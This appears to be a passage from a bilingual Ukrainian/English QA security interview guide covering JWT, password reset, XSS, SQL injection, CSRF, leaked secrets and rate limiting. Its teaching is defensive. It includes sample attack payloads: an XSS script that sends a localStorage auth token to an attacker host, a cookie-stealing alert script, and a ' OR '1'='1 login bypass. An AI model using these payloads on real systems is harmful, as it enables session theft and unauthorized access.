💡 What is happening here: The string illustrates the three JWT parts (Header, Payload, Signature) separated by dots, where attackers attempt to tamper with claims inside the payload.
🗣 Як читати вголосЯ перевіряю безпеку JWT, намагаючись модифікувати claims у payload без зміни секретного ключа підпису. Якщо сервер приймає змінений токен або дозволяє алгоритм none, це критична вразливість цілісності аутентифікації. Окремо перевіряю, чи не можна підсунути токен, підписаний публічним ключем як HMAC-секретом, — це класична плутанина RS256 і HS256.
🗣 How to say it out loudI test JWT security by attempting to modify claims within the payload without updating the signature secret. If the server accepts the tampered token or permits the none algorithm, it represents a critical authentication integrity vulnerability. I also check whether a token signed with the public key used as an HMAC secret gets through — the classic RS256 versus HS256 confusion.
18 Чому термін дії токена (exp) та обмеження алгоритмів є критичними?Why are token expiration (exp) and algorithm restrictions critical?
Middle▶

Що це: Термін дії токена (claim exp) визначає точний час у форматі Unix timestamp, після якого JWT стає недійсним. Обмеження алгоритмів (algorithm restriction) вимагає від бекенду приймати лише заздалегідь визначені та захищені криптографічні алгоритми (наприклад, суворо RS256 або HS256), відхиляючи невідомі чи слабкі варіанти.

Навіщо/коли: Якщо токен не має терміну дії або він занадто довгий, викрадений токен дає зловмиснику перманентний доступ до системи. Відсутність жорсткого білого списку алгоритмів дозволяє виконати атаку підміни підпису.

Приклад з реального проєкту: Під час аудиту QA виявив, що емітовані JWT-токени не мали поля exp і діяли нескінченно. Після компрометації одного токена зловмисник міг роками користуватися акаунтом. Також бібліотека валідації на бекенді приймала заголовок "alg": "none", повністю вимикаючи перевірку підпису.

Підводні камені: Розробники часто покладаються на стандартні налаштування сторонніх бібліотек, які за замовчуванням дозволяють гнучкий вибір алгоритмів, що створює серйозні ризики безпеки.

Уточнююче питання: Як налаштувати бібліотеку перевірки JWT у вашому стеку технологій так, щоб заблокувати будь-які інші алгоритми підпису, крім затвердженого?

What it is: Token expiration (the exp claim) defines the precise Unix timestamp after which a JWT becomes invalid. Algorithm restriction requires backends to accept only pre-approved, robust cryptographic algorithms (e.g., strictly RS256 or HS256), rejecting unsupported or weak variants.

Why/when: If tokens lack expiration claims or have excessively long lifetimes, leaked tokens grant permanent adversary access. The absence of strict algorithm whitelisting enables signature bypass attacks.

Real project example: During an audit, a QA discovered issued JWTs lacked the exp claim entirely, persisting indefinitely. Furthermore, the backend validation library accepted "alg": "none", bypassing signature verification completely.

Pitfalls: Developers frequently rely on default configurations of third-party libraries which permit flexible algorithm selection, introducing critical security risks.

Clarifying question: How do you configure JWT validation libraries in your tech stack to enforce strict algorithm whitelisting and reject unverified tokens?

Приклад / конфігурація:
Example / configuration:
{
  "sub": "user_551",
  "role": "moderator",
  "iat": 1727400000,
  "exp": 1727403600
}
💡 Що тут відбувається: Пейлоад JWT містить обов'язкове поле exp (expiration time), яке обмежує час життя токена однією годиною з моменту випуску.
💡 What is happening here: The JWT payload contains the mandatory exp (expiration time) claim, restricting the token lifetime strictly to one hour from issuance.
🗣 Як читати вголосЯ перевіряю наявність та коректність claim exp у кожному JWT. Токени без терміну дії або з занадто довгим життям є дефектом безпеки, і я вимагаю впровадження короткострокових access токенів. Також дивлюся, чи сервер сам фіксує дозволений алгоритм, а не бере його з заголовка токена, і чи відхиляє токен з exp у минулому з урахуванням невеликого clock skew.
🗣 How to say it out loudI verify the presence and correctness of the exp claim in every JWT. Tokens lacking expiration or featuring excessive lifetimes represent security defects, and I require implementing short-lived access tokens. I also look at whether the server pins the allowed algorithm itself instead of reading it from the token header, and whether it rejects a token with a past exp, allowing only a small clock skew.
19 Які вразливості та проблеми безпеки мають посилання для скидання пароля?What vulnerabilities and security issues do password reset links have?
Middle▶

Що це: Механізм скидання пароля — це критичний процес відновлення доступу, який зазвичай генерує унікальне одноразове посилання з токеном і надсилає його на email користувача. Погано спроєктовані посилання можуть призвести до перехоплення токенів, їх багаторазового використання або витоку через заголовки Referer.

Навіщо/коли: Цей функціонал обов'язково перевіряється на стійкість до атак перебору токенів, аналізу терміну дії, прив'язки до IP-адреси або сесії, а також на витік токенів у зовнішні сторонні сервіси через редиректи.

Приклад з реального проєкту: Під час тестування авторизації QA звернув увагу, що посилання для скидання пароля містило передбачуваний послідовний токен і діяло тижнями. Ба більше, при переході за посиланням на сторонній догляд аналітикики через зовнішній скрипт, токен передавався у заголовку Referer, дозволяючи третім особам перехопити його.

Підводні камені: Токени відновлення пароля обов'язково повинні хешуватися в базі даних аналогічно до паролів, щоб витік самої БД не дозволив зловмиснику масово скинути паролі користувачів.

Уточнююче питання: Які найкращі практики захисту процесу відновлення пароля ви рекомендуєте впроваджувати (наприклад, обмеження кількості спроб, коротким TTL та інвалідацією після першого використання)?

What it is: Password reset functionality is a critical recovery mechanism that generates unique tokenized URLs sent to user emails. Poorly engineered reset flows risk token enumeration, replay attacks, infinite lifespans, or token leakage via HTTP Referer headers.

Why/when: This flow is tested for brute-force resistance, cryptographic token randomness, TTL expiration, single-use enforcement, and prevention of third-party leakage.

Real project example: During an authorization audit, a QA noticed password reset links contained sequential, predictable tokens valid for weeks. Furthermore, clicking a link loaded an external analytics script, leaking the sensitive reset token via the Referer header to third parties.

Pitfalls: Password reset tokens must be securely hashed in the database similar to passwords, ensuring database breaches do not expose active plain-text reset tokens.

Clarifying question: What security best practices do you enforce for password reset mechanisms, such as short TTLs, single-use token invalidation, and rate limiting?

Приклад / конфігурація:
Example / configuration:
GET /api/v1/auth/reset-password?token=a8f9c21b4e6d7812f&email=user@valtive.io HTTP/1.1
Host: auth.valtive.io
Referer: https://analytics-partner.com/track
💡 Що тут відбувається: Запит на сторінку скидання пароля містить секретний токен у параметрі та потенційно небезпечний заголовок Referer, який може передати токен на сторонній ресурс.
💡 What is happening here: The password reset request contains a secret token in the query parameter alongside a potentially risky Referer header that could leak the token externally.
🗣 Як читати вголосЯ тестую відновлення пароля, перевіряючи випадковість і криптостійкість токена, його короткий термін життя, інвалідацію після використання та відсутність витоку через Referer-заголовки у зовнішні мережі. Ще одна перевірка — відповідь на запит скидання однакова для існуючого й неіснуючого email, інакше форма стає інструментом перебору користувачів.
🗣 How to say it out loudI test password reset flows by verifying cryptographic token randomness, short expiration lifespans, single-use invalidation, and prevention of token leakage via Referer headers to external networks. One more check: the reset request answers the same way for an existing and a non-existing email, otherwise the form becomes a user enumeration tool.
▶ 3 4
20 Stored, Reflected та DOM XSS: у чому різниця?Stored, Reflected and DOM-based XSS: what is the difference?
Junior▶

Що це: Міжсайтовий скриптинг (XSS) — це вразливість, яка дозволяє зловмиснику впроваджувати шкідливі клієнтські скрипти (зазвичай JavaScript) у вебсторінки, що переглядаються іншими користувачами. Stored (збережена) XSS зберігається в базі даних і показується всім. Reflected (відбита) XSS виконується одразу з вхідних параметрів запиту (наприклад, у URL). DOM-based XSS виникає через небезпечну обробку DOM на стороні клієнта у JavaScript.

Навіщо/коли: Тестування на XSS є обов'язковим для всіх полів введення, коментарів, профілів та параметрів пошуку, які відображають дані на екрані без належного екранування.

Приклад з реального проєкту: Під час тестування блогу QA ввів рядок <script>alert(document.cookie)</script> у поле імені профілю (Stored XSS). При кожному переході сторінки профілю цей скрипт виконувався у браузерах адміністраторів, викрадаючи їхні сесійні куки.

Підводні камені: Розробники часто концентруються лише на захисті від Stored XSS, забуваючи про DOM XSS, яка виникає повністю на клієнті через небезпечне використання таких властивостей, як innerHTML.

Уточнююче питання: Як за допомогою інструментів розробника та сканерів безпеки знаходити DOM XSS, які не передаються на бекенд?

What it is: Cross-Site Scripting (XSS) is a vulnerability enabling adversaries to inject malicious client-side scripts (typically JavaScript) into web pages viewed by other users. Stored XSS persists in the database and affects all visitors. Reflected XSS executes immediately from unvalidated request parameters. DOM-based XSS occurs entirely client-side through unsafe DOM manipulation in JavaScript.

Why/when: XSS testing is mandatory for all input fields, comment sections, profiles, and query parameters rendering output without proper encoding.

Real project example: While testing a blog, a QA entered <script>alert(document.cookie)</script> into a profile name field (Stored XSS). Whenever administrators viewed the profile, the script executed, exposing session cookies.

Pitfalls: Developers frequently focus on preventing Stored XSS while neglecting DOM XSS caused by client-side sinks like innerHTML.

Clarifying question: How do you utilize browser developer tools and specialized scanners to detect DOM XSS vulnerabilities that never hit the backend server?

Приклад / конфігурація:
Example / configuration:
<script>
  const token = localStorage.getItem('auth_token');
  fetch('https://attacker-malicious.com/steal?t=' + token);
</script>
💡 Що тут відбувається: Зразок шкідливого XSS-скрипта, який зчитує токен автентифікації з localStorage браузера та відправляє його на віддалений сервер злочинця.
💡 What is happening here: Sample malicious XSS payload reading the authentication token from browser localStorage and exfiltrating it to a remote attacker server.
🗣 Як читати вголосЯ тестую всі точки введення даних на XSS, використовуючи спеціальні безпечні пейлоади з тегами script та викликами alert. Я перевіряю, чи екранує фронтенд або бекенд спецсимволи перед їх рендерингом на сторінці. Для stored XSS я відкриваю збережені дані під іншим користувачем і в адмінці, бо саме там payload найчастіше спрацьовує, а для DOM-based дивлюся, куди потрапляють параметри з URL та hash.
🗣 How to say it out loudI test all input vectors for XSS using safe proof-of-concept payloads featuring script tags and alert calls. I verify whether the frontend or backend properly encodes special characters before rendering them. For stored XSS I open the saved data as another user and in the admin panel, because that is where the payload usually fires, and for DOM-based XSS I trace where URL parameters and the hash end up.
21 Що таке output encoding та чому він захищає від XSS?What is output encoding and why does it protect against XSS?
Middle▶

Що це: Output Encoding (екранування виводу) — це процес перетворення спеціальних символів (таких як <, >, &, ", ') на їхні безпечні HTML-сутності (наприклад, &lt; замість <) перед тим, як вони відобразяться у браузері користувача.

Навіщо/коли: Це основний і найефективніший метод запобігання XSS-вразливостям. Будь-які дані, що надходять від користувачів або сторонніх API і рендеряться в HTML, повинні проходити через контекстно-залежне екранування.

Приклад з реального проєкту: Під час перевірки звіту з безпеки QA виявив, що назва компанії, яку вводив користувач, містила HTML-теги і виконувалась як код. Розробник додав функцію контекстного екранування виводу в шаблонізаторі (наприклад, у React чи Jinja2 за замовчуванням), і тепер браузер відображає введені символи як звичайний текст, а не як виконання сценарію.

Підводні камені: Екранування має бути контекстним: екранування для HTML-контексту не захищає, якщо дані потрапляють усередину JavaScript-змінної або атрибута style, де потрібне спеціальне кодування.

Уточнююче питання: У чому різниця між HTML-енкодінгом, JavaScript-енкодінгом та URL-енкодінгом у контексті запобігання ін'єкціям?

What it is: Output encoding is the process of translating special characters (such as <, >, &, ", ') into their corresponding safe HTML entities (e.g., &lt; instead of <) before rendering them in the user browser.

Why/when: This is the primary and most robust defense against XSS vulnerabilities. Any data originating from users or external APIs rendered into HTML must undergo context-aware encoding.

Real project example: During a security review, a QA found that user-supplied company names rendered raw HTML tags and executed scripts. The developer implemented context-aware template engine encoding (leveraging framework defaults like React or Jinja2), ensuring browsers render input safely as plain text.

Pitfalls: Encoding must match the rendering context: HTML entity encoding does not protect data injected inside raw JavaScript blocks or attribute contexts where specialized escaping is required.

Clarifying question: What is the distinction between HTML encoding, JavaScript escaping, and URL encoding when mitigating injection vulnerabilities across contexts?

Приклад / конфігурація:
Example / configuration:
<-- Unsafe raw render -->
<div><script>alert(1)</script></div>

<-- Safe encoded render -->
<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>
💡 Що тут відбувається: Порівняння небезпечного неекранованого рендерингу тегів та безпечного екранованого виводу у вигляді HTML-сутностей, які браузер не виконує як код.
💡 What is happening here: Comparison showing unsafe raw tag rendering versus safe encoded output via HTML entities that browsers treat strictly as plain text.
🗣 Як читати вголосЯ перевіряю, чи застосовує додаток правильне output encoding для всіх динамічних даних. Сучасні фреймворки роблять це автоматично, але при використанні innerHTML або небезпечних методів я вимагаю ручного екранування. Важливо, що кодування залежить від контексту: те, що безпечно в тексті HTML, небезпечне в атрибуті, у JavaScript-рядку чи в URL, тому я перевіряю кожен контекст окремо.
🗣 How to say it out loudI verify whether applications apply proper output encoding for all dynamic data. Modern frameworks handle this automatically, but when utilizing innerHTML or unsafe sinks, I require explicit manual escaping. The key point is that encoding depends on context: what is safe in HTML text is unsafe in an attribute, a JavaScript string or a URL, so I check each context separately.
22 Як безпечно проводити SQLi-smoke тести без шкоди для БД?How to safely conduct SQLi smoke tests without harming databases?
Middle▶

Що це: SQL-ін'єкція (SQLi) — це вразливість, що дозволяє зловмиснику втручатися у запити, які застосунок надсилає до бази даних. Безпечний SQLi-smoke тест (тест на дим) — це неруйнівна перевірка наявності вразливості за допомогою нешкідливих операторів часу затримки (time-based) або логічних умов (наприклад, ' OR '1'='1), які не змінюють і не видаляють дані в БД.

Навіщо/коли: QA зобов'язаний перевіряти поля введення, параметри пагінації та фільтрації на наявність SQLi, але виключно на тестових стендах і без використання деструктивних команд на кшталт DROP TABLE або UNION SELECT з видаленням даних.

Приклад з реального проєкту: Під час тестування форми пошуку товарів QA ввів спеціальний символ лапки ' у поле вводу. У відповідь застосунок повернув детальну помилку бази даних PostgreSQL із повним стеком викликів SQL-запиту. Це підтвердило наявність вразливості без необхідності виконання будь-яких деструктивних атак.

Підводні камені: Проведення навіть безпечних тестів на SQLi на продуктивних середовищах є неприпустимим, оскільки складні запити можуть призвести до вичерпання пулу з'єднань або зависання бази даних.

Уточнююче питання: Як використання параметризованих запитів (Prepared Statements) та ORM повністю закриває клас вразливостей SQL-ін'єкцій на рівні архітектури?

What it is: SQL Injection (SQLi) is a vulnerability allowing attackers to interfere with database queries constructed by an application. A safe SQLi smoke test is a non-destructive verification method using harmless timing delays (time-based) or boolean conditions (e.g., ' OR '1'='1) that never modify or delete database records.

Why/when: QA must test input fields, search filters, and sorting parameters for SQLi strictly in non-production staging environments without executing destructive commands like DROP TABLE.

Real project example: While testing a product search form, a QA entered a single quote ' into the input. The application responded with a detailed PostgreSQL database error exposing internal query structures, confirming the vulnerability safely without data corruption.

Pitfalls: Executing even non-destructive SQLi probes in production environments is strictly forbidden, as complex crafted queries can exhaust database connection pools or trigger performance denial of service.

Clarifying question: How do parameterized queries (Prepared Statements) and ORM frameworks structurally eliminate the entire class of SQL injection vulnerabilities?

Приклад / конфігурація:
Example / configuration:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
💡 Що тут відбувається: Класичний приклад класичної SQL-ін'єкції в логін-формі, де умова обману '1'='1' завжди повертає true і дає несанкціонований доступ без пароля.
💡 What is happening here: Classic SQL injection pattern in a login form where the tautology condition '1'='1' evaluates to true, granting unauthorized access without a password.
🗣 Як читати вголосЯ проводжу безпечні SQLi-тести на тестовому середовищі, вводячи одиничні лапки та логічні тавтології у параметри. Я ніколи не запускаю деструктивні команди і завжди вимагаю від розробників використання параметризованих запитів. Ознакою проблеми для мене є не тільки помилка бази в відповіді, а й різниця у відповідях на умови, що завжди істинні та завжди хибні, — так видно навіть сліпу ін'єкцію.
🗣 How to say it out loudI conduct safe SQLi smoke tests on staging environments by injecting single quotes and tautology payloads into parameters. I never run destructive commands and always mandate parameterized queries from developers. A signal for me is not only a database error in the response but also a difference between always-true and always-false conditions — that reveals even a blind injection.
23 Що таке CSRF та як від нього захищає SameSite cookie?What is CSRF and how does SameSite cookie protect against it?
Middle▶

Що це: CSRF (Cross-Site Request Forgery або підробка міжсайтових запитів) — це атака, яка змушує автентифікованого користувача виконувати небажані дії в вебдодатку, якому він довіряє. Атрибут SameSite для кук є сучасним захисним механізмом, що контролює, чи передаються куки разом із запитами з інших сторонніх сайтів.

Навіщо/коли: CSRF перевіряється на всіх формах та API-ендпоїнтрах, які змінюють стан даних (POST, PUT, DELETE) і використовують сесійні куки для автентифікації без додаткових захисних токенів чи SameSite політик.

Приклад з реального проєкту: Під час тестування банківського порталу QA створив зловмисний HTML-файл на сторонньому домені з автоматичною формою, яка відправляла POST-запит на переказ грошей довірчого банку. Оскільки сесійні куки автоматично прикріплювалися браузером, транзакція успішно виконалась. Після налаштування кук у режим SameSite=Strict браузер перестав передавати куки при крос-доменних переходах, закривши вразливість.

Підводні камені: SameSite не захищає повністю, якщо додаток використовує старі браузери або якщо запити здійснюються через GET-методи з навігацією, тому додаткове використання CSRF-токенів залишається золотим стандартом безпеки.

Уточнююче питання: У чому різниця між режимами SameSite=Strict, SameSite=Lax та SameSite=None і які ризики несе кожен із них?

What it is: CSRF (Cross-Site Request Forgery) is an attack forcing an authenticated user to execute unwanted actions on a trusted web application. The SameSite cookie attribute is a modern defense mechanism controlling whether cookies are included with cross-site requests.

Why/when: CSRF is tested across all state-changing forms and API endpoints (POST, PUT, DELETE) relying on session cookies for authentication without supplementary CSRF tokens.

Real project example: While testing a banking portal, a QA crafted a malicious external HTML form submitting a POST request to transfer funds. Because session cookies attached automatically, the transfer succeeded. Configuring cookies with SameSite=Strict halted cross-site cookie transmission, mitigating the risk.

Pitfalls: SameSite does not provide complete protection across legacy browsers or top-level navigation GET requests, which is why anti-CSRF synchronization tokens remain a vital defense layer.

Clarifying question: What are the operational differences between SameSite=Strict, SameSite=Lax, and SameSite=None, and what security trade-offs does each introduce?

Приклад / конфігурація:
Example / configuration:
HTTP/1.1 200 OK
Set-Cookie: session_id=xyz987; Secure; HttpOnly; SameSite=Strict
💡 Що тут відбувається: Сервер встановлює куку сесії з прапорцями Secure, HttpOnly та SameSite=Strict, повністю забороняючи її передачу при будь-ких крос-доменних запитах.
💡 What is happening here: The server sets a session cookie with Secure, HttpOnly, and SameSite=Strict flags, entirely forbidding its transmission on cross-site requests.
🗣 Як читати вголосЯ перевіряю захист від CSRF, аналізуючи атрибути SameSite у куках та наявність анти-CSRF токенів у заголовках запитів. SameSite у режимі Strict або Lax є надійним першим рубежем оборони для браузерів. Але SameSite не рятує від запитів з піддоменів того самого сайту і від GET-ендпоінтів, що змінюють стан, тому такі випадки я перевіряю окремо.
🗣 How to say it out loudI verify CSRF protections by inspecting SameSite cookie attributes and checking for anti-CSRF synchronization tokens in request headers. SameSite Strict or Lax serves as a robust first line of browser defense. SameSite does not help against requests from subdomains of the same site or against GET endpoints that change state, so I check those cases separately.
▶ 4 7
24 Чому зберігання секретів у гіт-історії є критичним ризиком?Why is storing secrets in git history a critical risk?
Junior▶

Що це: Зберігання секретів (паролів, API-ключів, токенів доступу до AWS чи баз даних) у репозиторії вихідного коду Git є грубим порушенням безпеки. Навіть якщо розробник видалив файл із секретом у наступному коміті, секрет назавжди залишається в історії комітів Git і може бути легко витягнутий за допомогою простих команд або сканерів.

Навіщо/коли: QA зобов'язаний перевіряти репозиторій за допомогою спеціалізованих сканерів секретів (наприклад, git-secrets або trufflehog) перед кожним релізом, щоб запобігти витоку чутливих даних у публічні репозиторії.

Приклад з реального проєкту: Під час аудиту репозиторію QA запустив сканування історії командою git log -p і знайшов захардкожений токен доступу до AWS у коміті місячної давнини, який розробник забув видалити з конфігураційного файлу. Зловмисник міг використати цей ключ для повного захоплення хмарної інфраструктури компанії.

Підводні камені: Звичайне видалення файлу у новій гілці не видаляє секрет з історії Git; для повного очищення потрібно використовувати інструменти на кшталт git filter-repo або перестворювати репозиторій.

Уточнююче питання: Як налаштувати перехоплювачі комітів pre-commit hooks для автоматичного блокування комітів зі сканами секретів локально?

What it is: Storing secrets (passwords, API keys, database credentials) inside Git source code repositories is a severe security violation. Even if a developer deletes a secrets file in a subsequent commit, the secret remains permanently embedded in the Git commit history and can be easily extracted.

Why/when: QA must audit repositories using specialized secret scanners (such as git-secrets or trufflehog) prior to releases to prevent sensitive data leaks in public or internal repositories.

Real project example: During a repository audit, a QA ran history scanning and discovered a hardcoded AWS access key in a commit from a month ago that the developer forgot to remove. An adversary could leverage this key to compromise the entire cloud infrastructure.

Pitfalls: Merely deleting a file in a new commit does not purge the secret from Git history; complete removal requires tools like git filter-repo or repository re-initialization.

Clarifying question: How do you configure pre-commit hooks to automatically block commits containing hardcoded secrets before they reach remote repositories?

Приклад / конфігурація:
Example / configuration:
git log -S "AWS_SECRET_ACCESS_KEY" --p

# Output snippet showing committed secret
+AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
💡 Що тут відбувається: Використання команди git log для пошуку історії комітів, що містять захардкожені облікові дані хмарних сервісів AWS.
💡 What is happening here: Using the git log command to search commit history for hardcoded cloud provider credentials left inside source code.
🗣 Як читати вголосЯ перевіряю репозиторії на наявність захардкожених секретів за допомогою автоматизованих сканерів та ручного перегляду git історії. Якщо секрет потрапив у коміт, вимагаю його негайної ротації на сервісі та очищення історії. Порядок важливий: спочатку ротація, бо очищення історії не допоможе, якщо репозиторій уже склонували або форкнули.
🗣 How to say it out loudI audit repositories for hardcoded secrets using automated scanners and manual git history reviews. If a secret enters a commit, I demand immediate credential rotation and history purging. The order matters: rotate first, because rewriting history does not help once the repository has already been cloned or forked.
25 Секрет потрапив у лог CI: як діяти і як налаштувати маскування, щоб це не повторилось?A secret leaked into a CI log: how do you respond, and how do you set up masking so it does not happen again?
Senior▶

Що це: Маскування секретів у CI/CD (GitHub Actions, GitLab CI, Jenkins) — це заміна чутливих значень на *** у логах збірки. Платформа маскує лише ті рядки, які вона знає: значення з secrets.* або змінні, позначені як masked. Усе, що похідне від секрету — токен, виданий за ключем, base64 від пароля, рядок підключення з паролем усередині, — платформа не розпізнає, поки ви явно не зареєструєте його командою ::add-mask::.

Навіщо/коли: Логи CI бачить набагато ширше коло людей, ніж сховище секретів: усі розробники, підрядники, а у публічному репозиторії — будь-хто. Тести особливо часто стають джерелом витоку, бо HTTP-клієнти в debug-режимі логують заголовки Authorization, а падіння тесту друкує весь об'єкт конфігурації.

Сценарій інциденту: У лозі нічного прогону я побачив рядок підключення до staging-бази з паролем у відкритому вигляді — його надрукував set -x у кроці міграцій. Мій порядок дій: 1) вважаю секрет скомпрометованим з моменту появи в лозі та ініціюю негайну ротацію — видалення логу без ротації нічого не гарантує, бо лог могли вже прочитати або завантажити; 2) видаляю логи цього прогону, перевіряю артефакти й кеші, куди могла потрапити та сама змінна; 3) оцінюю експозицію: хто мав доступ до логів, скільки часу вони висіли, чи є в audit-логах бази підключення з невідомих адрес; 4) знаходжу першопричину і закриваю її системно: прибираю set -x з кроків із секретами, додаю ::add-mask:: для похідних значень, вмикаю редагування заголовків у логуванні тестового HTTP-клієнта; 5) додаю в пайплайн перевірку, яка сканує логи й артефакти на відомі шаблони ключів.

Компроміси: Детальні логи потрібні, щоб розбирати падіння тестів, тому повністю вимикати логування запитів — погана відповідь: краще логувати запити з редагуванням чутливих заголовків і полів. Короткоживучі токени через OIDC замість статичних ключів різко зменшують шкоду від витоку, але ускладнюють локальне відтворення пайплайну. Маскування — лише остання лінія: воно працює на рівні рядка і не врятує, якщо значення змінене, розбите на частини або виведене в артефакт, а не в консоль.

Підводні камені: Покладатися тільки на маскування і не робити ротацію; забути про форки та pull request-и із зовнішніх репозиторіїв; вважати, що приватний репозиторій означає приватні логи для всіх підрядників.

Уточнююче питання: Хто у вашій команді володіє процесом ротації секретів і скільки часу реально займає заміна ключа до staging-бази?

What it is: Secret masking in CI/CD (GitHub Actions, GitLab CI, Jenkins) replaces sensitive values with *** in build logs. The platform only masks strings it knows about: values coming from secrets.* or variables marked as masked. Anything derived from a secret — a token issued with a key, the base64 of a password, a connection string with a password inside — is not recognised until you register it explicitly with ::add-mask::.

Why/when: Far more people can read CI logs than the secret store: every developer, contractors, and in a public repository anyone at all. Tests are a frequent source of leaks, because HTTP clients in debug mode log the Authorization header and a failing test prints the whole configuration object.

Incident scenario: In a nightly run log I saw the staging database connection string with the password in plain text — set -x in the migrations step had printed it. My sequence: 1) treat the secret as compromised from the moment it hit the log and trigger rotation immediately — deleting the log without rotating guarantees nothing, because someone may already have read or downloaded it; 2) delete the logs of that run and check artifacts and caches where the same variable could have ended up; 3) assess exposure: who had access to the logs, how long they were up, and whether the database audit log shows connections from unknown addresses; 4) find the root cause and close it for good: remove set -x from steps that handle secrets, add ::add-mask:: for derived values, and turn on header redaction in the test HTTP client's logging; 5) add a pipeline check that scans logs and artifacts for known key patterns.

Trade-offs: Detailed logs are needed to investigate test failures, so switching request logging off completely is a poor answer: log requests with sensitive headers and fields redacted instead. Short-lived OIDC tokens instead of static keys sharply reduce the damage of a leak, but make it harder to reproduce the pipeline locally. Masking is only the last line of defence: it works per string and will not help if the value is transformed, split, or written to an artifact rather than the console.

Pitfalls: Relying on masking alone and skipping rotation; forgetting about forks and pull requests from external repositories; assuming a private repository means private logs for every contractor.

Clarifying question: Who owns secret rotation in your team, and how long does replacing the staging database key really take?

Приклад / конфігурація:
Example / configuration:
# secrets.* values are masked automatically.
# A value DERIVED from a secret is not: register it with add-mask.
- name: Issue short-lived DB token
  run: |
    TOKEN=$(./scripts/issue-db-token.sh "${{ secrets.DB_ADMIN_KEY }}")
    echo "::add-mask::$TOKEN"
    echo "DB_TOKEN=$TOKEN" >> "$GITHUB_ENV"

# Anti-pattern: set -x prints every expanded command, secrets included
# - run: set -x && psql "$DATABASE_URL" -f migrate.sql
💡 Що тут відбувається: Токен, отриманий за допомогою секрету, реєструється через ::add-mask:: до того, як потрапить у будь-який вивід, і лише потім передається наступним крокам через $GITHUB_ENV. Закоментований рядок показує типову причину витоку — set -x у кроці, що працює з секретами.
💡 What is happening here: The token obtained with the secret is registered with ::add-mask:: before it reaches any output, and only then passed to later steps through $GITHUB_ENV. The commented line shows a typical cause of leaks — set -x in a step that handles secrets.
🗣 Як читати вголосЯкщо секрет уже опинився в лозі, я не починаю з видалення логу — я починаю з ротації, бо лог могли прочитати ще до того, як я його помітив. Далі чищу логи й артефакти прогону, дивлюся, хто мав до них доступ, і перевіряю аудит сервісу, чи ключем ніхто не скористався. Потім шукаю, звідки взявся вивід: найчастіше це set -x, debug-логування HTTP-клієнта або друк конфігу при падінні тесту. Маскування платформи ловить лише значення з secrets, тож для похідних токенів я додаю add-mask, а в тестовому клієнті вмикаю редагування заголовків. Повністю вимикати логи не хочу — вони потрібні для розбору падінь.
🗣 How to say it out loudIf a secret has already landed in a log, I don't start by deleting the log — I start with rotation, because someone may have read it before I noticed. Then I clean up the run's logs and artifacts, check who had access to them, and look at the service's audit trail to see whether the key was used. After that I trace where the output came from: usually set -x, debug logging in the HTTP client, or a config dump when a test fails. Platform masking only catches values from secrets, so for derived tokens I add add-mask and turn on header redaction in the test client. I don't want to switch logs off completely — we need them to investigate failures.
26 Що таке код відповіді 429 Too Many Requests та Rate Limiting?What is the 429 Too Many Requests status code and Rate Limiting?
Junior▶

Що це: HTTP-статус 429 Too Many Requests вказує на те, що користувач надіслав занадто багато запитів за певний проміжок часу (перевищив ліміт Rate Limiting). Це важливий механізм захисту вебдодатків від атак типу Denial of Service (DoS), брутфорсу паролів та автоматизованого парсингу даних.

Навіщо/коли: QA перевіряє наявність обмеження частоти запитів на критичних ендпоїнтах (авторизація, реєстрація, відновлення пароля, пошук) за допомогою автоматизованих інструментів або скриптів.

Приклад з реального проєкту: Під час тестування форми логіну QA надіслав 100 запитів поспіль за одну секунду за допомогою Postman Runner. На 11-му запиті сервер повернув статус 429 із заголовком Retry-After: 60, підтвердивши наявність захисту від брутфорсу.

Підводні камені: Якщо ліміт Rate Limiting прив'язаний лише до IP-адреси, користувачі за корпоративним NAT можуть випадково блокувати один одного, тому краще комбінувати IP з ідентифікатором користувача або токеном.

Уточнююче питання: Які алгоритми реалізації Rate Limiting (наприклад, Token Bucket або Fixed Window) ви знаєте і які їхні плюси й мінуси?

What it is: HTTP status 429 Too Many Requests indicates that the user has sent too many requests within a given timeframe, exceeding established Rate Limiting thresholds. It is a vital defense mechanism protecting web apps from Denial of Service (DoS), password brute-forcing, and scraping.

Why/when: QA verifies rate limiting enforcement on critical endpoints (login, registration, password reset, search) using automated tools or script runners.

Real project example: While testing a login form, a QA fired 100 consecutive requests in one second via Postman Runner. On the 11th request, the server returned status 429 with a Retry-After: 60 header, confirming brute-force mitigation.

Pitfalls: If rate limiting relies strictly on IP addresses, users behind corporate NAT proxies can inadvertently block each other, making combination with user tokens preferable.

Clarifying question: What rate limiting algorithms (such as Token Bucket or Fixed Window) do you prefer, and what are their operational trade-offs?

Приклад / конфігурація:
Example / configuration:
HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 0
Content-Type: application/json
💡 Що тут відбувається: Сервер відповідає статусом 429 із заголовками Retry-After та X-RateLimit, повідомляючи клієнта про перевищення ліміту запитів.
💡 What is happening here: The server responds with status 429 and Retry-After and X-RateLimit headers, informing the client that request thresholds were exceeded.
🗣 Як читати вголосRate limiting я перевіряю серією швидких запитів на чутливі ендпоінти — логін, скидання пароля, відправку SMS-коду. Очікую статус 429 після досягнення ліміту і заголовок Retry-After, який реально відповідає часу, коли запити знову проходять. Окремо дивлюся, чи ліміт не обходиться зміною заголовка X-Forwarded-For, іншим регістром в email або тим самим запитом через старішу версію API. І важливо, щоб 429 повертався до виконання дорогої операції, а не після того, як SMS уже відправили.
🗣 How to say it out loudI check rate limiting with a burst of fast requests to sensitive endpoints — login, password reset, sending an SMS code. I expect a 429 once the limit is reached and a Retry-After header that matches when requests actually start going through again. I also check that the limit can't be bypassed by changing the X-Forwarded-For header, using different letter case in the email, or sending the same request through an older API version. And the 429 has to come back before the expensive operation runs, not after the SMS has already been sent.
27 Account Lockout: як тестувати блокування після N невдалих входів і де компроміс між брутфорсом і DoS?Account lockout: how do you test locking after N failed logins, and where is the trade-off between brute force and DoS?
Senior▶

Що це: Account Lockout — захисний механізм, який тимчасово або до ручного розблокування деактивує обліковий запис після певної кількості невдалих спроб входу поспіль (наприклад, після 5). Його мета — зробити перебір паролів до конкретного акаунта непрактичним.

